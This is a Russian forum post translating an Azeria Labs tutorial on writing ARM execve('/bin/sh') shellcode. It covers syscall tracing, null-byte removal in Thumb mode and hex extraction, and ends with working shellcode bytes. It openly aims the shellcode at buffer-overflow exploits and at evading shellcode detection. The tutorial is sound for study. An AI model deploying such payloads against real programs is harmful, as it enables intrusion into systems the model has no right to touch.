• XSS.stack #1 – первый литературный журнал от юзеров форума

Введение в написание Shell-кода на ARM

neopaket

Переводчик
Пользователь
Регистрация
14.05.2019
Сообщения
185
Реакции
205
Введение в написание Shell-кода на ARM

Обязательным условием для этой части руководства является базовое понимание ARM (Рассматривается в первой части серии руководств « Основы сборки ARM »). В этой части вы узнаете, как использовать свои знания для создания вашего первого Shell-кода в сборке ARM. Примеры, используемые в этом руководстве, скомпилированы на 32-разрядном процессоре ARMv6. Если у вас нет доступа к устройству на базе ARM, вы можете создать свою собственную среду для обучения и эмулировать дистрибутив Raspberry Pi на виртуальной машине, следуя этому руководству: Эмулируйте Raspberry Pi с QEMU.


Это руководство предназначено для людей, которые думают не только о запуске автоматических генераторов Shell-кода, но и для тех кто хотят сами научиться писать Shell-код в сборке ARM. В конце концов, зная, как это работает изнутри и имея полный контроль над результатом, гораздо веселее, чем просто запустить инструмент, не так ли? Написание собственного Shell-кода в ассемблере - это навык, который может оказаться очень полезным, когда вам необходимо обойти алгоритмы обнаружения Shell-кода или другие ограничения, когда автоматизированные инструменты могут оказаться недостаточными.


Для этого урока мы будем использовать следующие инструменты (большинство из них должны быть установлены по умолчанию в вашем дистрибутиве Linux):


  • GDB - наш отладчик выбора
  • GEF - Расширенные функции GDB, настоятельно рекомендуется к использованию (создан @_hugsy_ )
  • GCC - Коллекция компиляторов Gnu
  • as - ассемблер
  • ld - компоновщик
  • strace - утилита для отслеживания системных вызовов
  • objdump - проверка наличия нулевых байтов в разборке
  • objcopy - извлечение необработанного Shell-кода из двоичного файла ELF

Прежде чем начать писать свой Shell-код, убедитесь, чтобы рекомендации по написанию кода соблюдались:
  1. Нужно, чтобы ваш Shell-код был компактным и не содержал нулевых байтов
    • Причина: мы пишем шелл-код, который мы будем использовать для использования уязвимостей, связанных с повреждением памяти, таких как переполнение буфера. Некоторые переполнения буфера происходят из-за использования функции C 'strcpy'. Его задача - копировать данные до тех пор, пока они не получат нулевой байт. Мы используем переполнение, чтобы получить контроль над потоком программы, и если strcpy достигнет нулевого байта, он прекратит копировать наш шелл-код, и наш эксплойт не будет работать.
  2. Нужно избегать библиотечных вызовов и абсолютных адресов памяти
    • Причина: чтобы сделать наш шелл-код как можно более универсальным, мы не можем полагаться на библиотечные вызовы, которые требуют определенных зависимостей и абсолютных адресов памяти, которые зависят от конкретных сред.
Процесс написания Shell-кода включает в себя следующие шаги:
  1. Знание того, какие системные вызовы вы хотите использовать
  2. Вычисление номера системного вызова и параметров, которые требует выбранная вами функция системного вызова.
  3. Обнуление вашего Shell-кода
  4. Преобразование вашего Shell-кода в шестнадцатеричную строку

Понимание системных функции.

Прежде чем углубиться в наш первый Shell-код, давайте напишем простую программу сборки ARM, которая выводит строку. Первым шагом является поиск системного вызова, который мы хотим использовать, в данном случае. Прототип этого системного вызова можно найти на страницах руководства Linux:

Код:
ssize_t write(int fd, const void *buf, size_t count);

С точки зрения языка программирования высокого уровня, такого как C, вызов этого системного вызова будет выглядеть следующим образом:

Код:
const char string[13] = "Azeria Labs\n";
write(1, string, sizeof(string));        // Here sizeof(string) is 13

Глядя на прототип кода (Незаконченный код), мы видим, что нам нужны следующие параметры:

  • fd - для STDOUT
  • buf - указатель строки
  • count - количество байтов для записи -> 13
  • номер записи в системном вызове -> 0x4
Для первых 3 параметров мы можем использовать R0, R1 и R2. Для системного вызова нам нужно использовать R7 и переместить в него число 0x4.

Код:
mov   r0, #1      @ fd 1 = STDOUT
ldr   r1, string  @ loading the string from memory to R1
mov   r2, #13     @ write 13 bytes to STDOUT 
mov   r7, #4      @ Syscall 0x4 = write()
svc   #0

Используя приведенный выше фрагмент, функциональная программа сборки ARM будет выглядеть следующим образом:

Код:
.data
string: .asciz "Azeria Labs\n"  @ .asciz adds a null-byte to the end of the string
after_string:
.set size_of_string, after_string - string

.text
.global _start

_start:
   mov r0, #1               @ STDOUT
   ldr r1, addr_of_string   @ memory address of string
   mov r2, #size_of_string  @ size of string
   mov r7, #4               @ write syscall
   swi #0                   @ invoke syscall

_exit:
   mov r7, #1               @ exit syscall
   swi 0                    @ invoke syscall

addr_of_string: .word string

Мы вычислили размер нашей строки , вычитая адрес в начале строки из адреса после строки . Это, конечно, не нужно, если мы просто вычислим размер строки вручную и поместим результат непосредственно в R2. Для выхода из нашей программы мы используем системный вызов exit () с системным номером 1.

Скомпилируйте и выполните:

Код:
azeria@labs:~$ as write.s -o write.o && ld write.o -o write
azeria@labs:~$ ./write
Azeria Labs

Хорошо. Теперь, когда мы знаем процесс, давайте рассмотрим его более подробно и напишем наш первый простой Shell-код в сборке ARM.


Отслеживание системных вызовов.
Для нашего первого примера мы возьмем следующую простую функцию и преобразуем ее в сборку ARM:
Код:
#include <stdio.h>

void main(void)
{
    system("/bin/sh");
}
[LEFT]
[/LEFT]


Первый шаг - выяснить, какие системные вызовы вызывает эта функция и какие параметры требуются системному вызову. С помощью 'strace' мы можем отслеживать системные вызовы нашей программы в ядре ОС.

Сохраните приведенный выше код в файле и скомпилируйте его перед запуском команды strace.

Код:
azeria@labs:~$ gcc system.c -o system
azeria@labs:~$ strace -h
-f -- follow forks, -ff -- with output into separate files
-v -- verbose mode: print unabbreviated argv, stat, termio[s], etc. args
--- snip --
azeria@labs:~$ strace -f -v system
--- snip --
[pid 4575] execve("/bin/sh", ["/bin/sh"], ["MAIL=/var/mail/pi", "SSH_CLIENT=192.168.200.1 42616 2"..., "USER=pi", "SHLVL=1", "OLDPWD=/home/azeria", "HOME=/home/azeria", "XDG_SESSION_COOKIE=34069147acf8a"..., "SSH_TTY=/dev/pts/1", "LOGNAME=pi", "_=/usr/bin/strace", "TERM=xterm", "PATH=/usr/local/sbin:/usr/local/"..., "LANG=en_US.UTF-8", "LS_COLORS=rs=0:di=01;34:ln=01;36"..., "SHELL=/bin/bash", "EGG=AAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., "LC_ALL=en_US.UTF-8", "PWD=/home/azeria/", "SSH_CONNECTION=192.168.200.1 426"...]) = 0
--- snip --
[pid 4575] write(2, "$ ", 2$ ) = 2
[pid 4575] read(0, exit
--- snip --
exit_group(0) = ?
+++ exited with 0 +++

Оказывается, системная функция execve () может вызываться.


Номер и параметры системного вызова.
Следующим шагом является определение номера системного вызова execve () и параметров, требуемых этой функцией. Вы можете получить хороший обзор системных вызовов на w3calls или путем поиска по справочным страницам Linux. Вот что мы получаем из справочной страницы execve ():

Код:
NAME
    execve - execute program
SYNOPSIS

    #include <unistd.h>

    int  execve(const char *filename, char *const argv [], char *const envp[]);

Параметры, которые требует execve ():


  • Указатель на строку, указывающую путь к двоичному файлу
  • argv [] - массив переменных командной строки
  • envp [] - массив переменных среды
Что в основном означает: execve (* имя файла, * argv [], * envp []) -> execve (* имя файла, 0, 0). Номер системного вызова этой функции можно найти с помощью следующей команды:
Код:
azeria @ labs: ~ $ grep execve /usr/include/arm-linux-gnueabihf/asm/unistd.h 
#define __NR_execve (__NR_SYSCALL_BASE + 11 )

Посмотрев на вывод, вы можете увидеть, что номер системного вызова execve () равен 11. Регистр R0-R2 можно использовать для параметров функции, а регистр R7 будет хранить номер системного вызова.


ARM-shell-0.png


Вызов системных вызовов на x86 работает следующим образом: во-первых, PUSH-параметры в стеке, а затем номер системного вызова перемещается в EAX (MOV EAX, syscall_number). И, наконец, вы вызываете системный вызов с помощью SYSENTER / INT 80.

В ARM вызов syscall работает немного иначе:


  1. Переместить параметры в регистры - R0, R1, ..
  2. Переместить номер системного вызова в регистр R7
    • mov r7, # <syscall_number>
  3. Вызвать системный вызов с
    • SVC # 0 или
    • SVC # 1
  4. Возвращаемое значение заканчивается на R0
Вот как это выглядит в ARM Assembly (код загружен в учетную запись Gitub azeria-labs):

ARM-shell-1.1.png


Как вы можете видеть на рисунке выше, мы начнем с указания R0 на нашу строку «/ bin / sh» с помощью относительной адресации к ПК (Если вы не можете вспомнить, почему ПК запускает две инструкции перед текущей, перейдите « Часть 2: Типы данных и регистры » учебного пособия по основам сборки и посмотрите часть, в которой поясняется регистр ПК вместе с примером). Затем мы перемещаем 0 в R1 и R2 и системный вызов 11 в R7. Выглядит просто, правда? Давайте посмотрим на разборку нашей первой попытки с использованием objdump:
Код:
azeria @ labs: ~ $ as execve1.s -o execve1.o
azeria @ labs: ~ $ objdump -d execve1.o
execve1.o: формат файла elf32-littlearm

Разборка раздела .text:

00000000 <_start>:
0: e28f 00 0c добавить r0, шт., # 12
4: e3a010 00 mov r1, # 0
8: e3a020 00 mov r2, # 0
c: e3a0700b mov r7, # 11
10: ef 000000 svc 0x00000000
14: 6e69622f .word 0x6e69622f
18: 00 68732f .word 0x0068732f

Оказывается, в нашем Shell-коде довольно много нулевых байтов. Следующим шагом является удаление этих байтов и замена всех связанных с ним операций.



Удаление нулевых байтов.

Одним из методов, которые мы можем использовать для уменьшения вероятности появления нулевых байтов в нашем Shell-коде, является использование режима Thumb. Использование режима Thumb уменьшает вероятность появления нулевых байтов, поскольку инструкции Thumb имеют длину 2 байта вместо 4. Если вы прошли учебные пособия по основам сборки ARM, вы знаете, как переключиться из режима ARM в режим Thumb. Если вы этого не помните или не знаете об этом то, я рекомендую вам прочитать главу об инструкциях ветвления «B / BX / BLX» в части 6 учебника « Условное выполнение и ветвление ».

Во второй попытке мы используем режим Thumb и заменяем операции, содержащие # 0, на операции, которые приводят к нулям, вычитая регистры друг из друга или ксорируя их. Например, вместо «mov r1, # 0», используйте «sub r1, r1, r1» (r1 = r1 - r1) или «eor r1, r1, r1» (r1 = r1 xor r1). Имейте в виду, что, поскольку мы сейчас используем режим Thumb (2-байтовые инструкции) и наш код должен быть выровнен на 4 байта, нам необходимо добавить NOP в конце (например, mov r5, r5).


ARM-shell-2-1.png


Разобранный код выглядит следующим образом:

ARM-shell-3-2-1.png


В результате мы имеем только один нулевой байт, от которого нам нужно избавиться. Часть нашего кода, которая вызывает нулевой байт, является строкой с нулевым символом в конце «/ bin / sh \ 0». Мы можем решить эту проблему с помощью следующей техники:

  • Заменить «/ bin / sh \ 0» на «/ bin / shX»
  • Используйте инструкцию strb (store byte) в сочетании с существующим регистром, заполненным нулями, чтобы заменить X нулевым байтом.

ARM-shell-4.png


Вуаля - нет нулевых байтов!


Преобразуйте Shell-код в шестнадцатеричный код.

Созданный нами Shell-код теперь можно преобразовать в шестнадцатеричный код. Перед тем, как сделать это, рекомендуется проверить, работает ли Shell-код автономно. Но есть проблема: если мы скомпилируем наш сборочный файл, как обычно, он не будет работать. Причина этого в том, что мы используем операцию strb для изменения нашего раздела кода (.text). Это требует, чтобы раздел кода был доступен для записи, и этого можно достичь, добавив флаг -N во время процесса компоновки.

Код:
azeria@labs:~$ ld --help
--- snip --
-N, --omagic        Do not page align data, do not make text readonly.
--- snip -- 
azeria@labs:~$ as execve3.s -o execve3.o && ld -N execve3.o -o execve3
azeria@labs:~$ ./execve3
$ whoami
azeria

Сработало! Поздравляем, вы написали свой первый Shell-код в сборке ARM.

Чтобы преобразовать его в хекс (hex), используйте следующие команды:
Код:
azeria@labs:~$ objcopy -O binary execve3 execve3.bin 
azeria@labs:~$ hexdump -v -e '"\\""x" 1/1 "%02x" ""' execve3.bin 
\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\xa0\x49\x40\x52\x40\xc2\x71\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68\x78

Вместо использования команды hexdump выше, вы также делаете то же самое с помощью простого скрипта Python:

Код:
#!/usr/bin/env python

import sys

binary = open(sys.argv[1],'rb')

for byte in binary.read():
sys.stdout.write("\\x"+byte.encode("hex"))

print ""
Код:
azeria@labs:~$ ./shellcode.py execve3.bin
\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\xa0\x49\x40\x52\x40\xc2\x71\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68\x78

Я надеюсь, вам понравилось это введение в написание Shell-кода ARM. В следующей части вы узнаете, как писать Shell-код в форме обратной оболочки, что немного сложнее, чем в примере выше. После этого мы углубимся в повреждения памяти и узнаем, как это происходит и как это использовать, используя наш самодельный Shell-код.

Спасибо за прочтение данной статьи и хорошего дня ;)
Отдельное спасибо tabac
neopaket
Оригинальная статья: https://azeria-labs.com/writing-arm-shellcode/
 
Последнее редактирование модератором:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх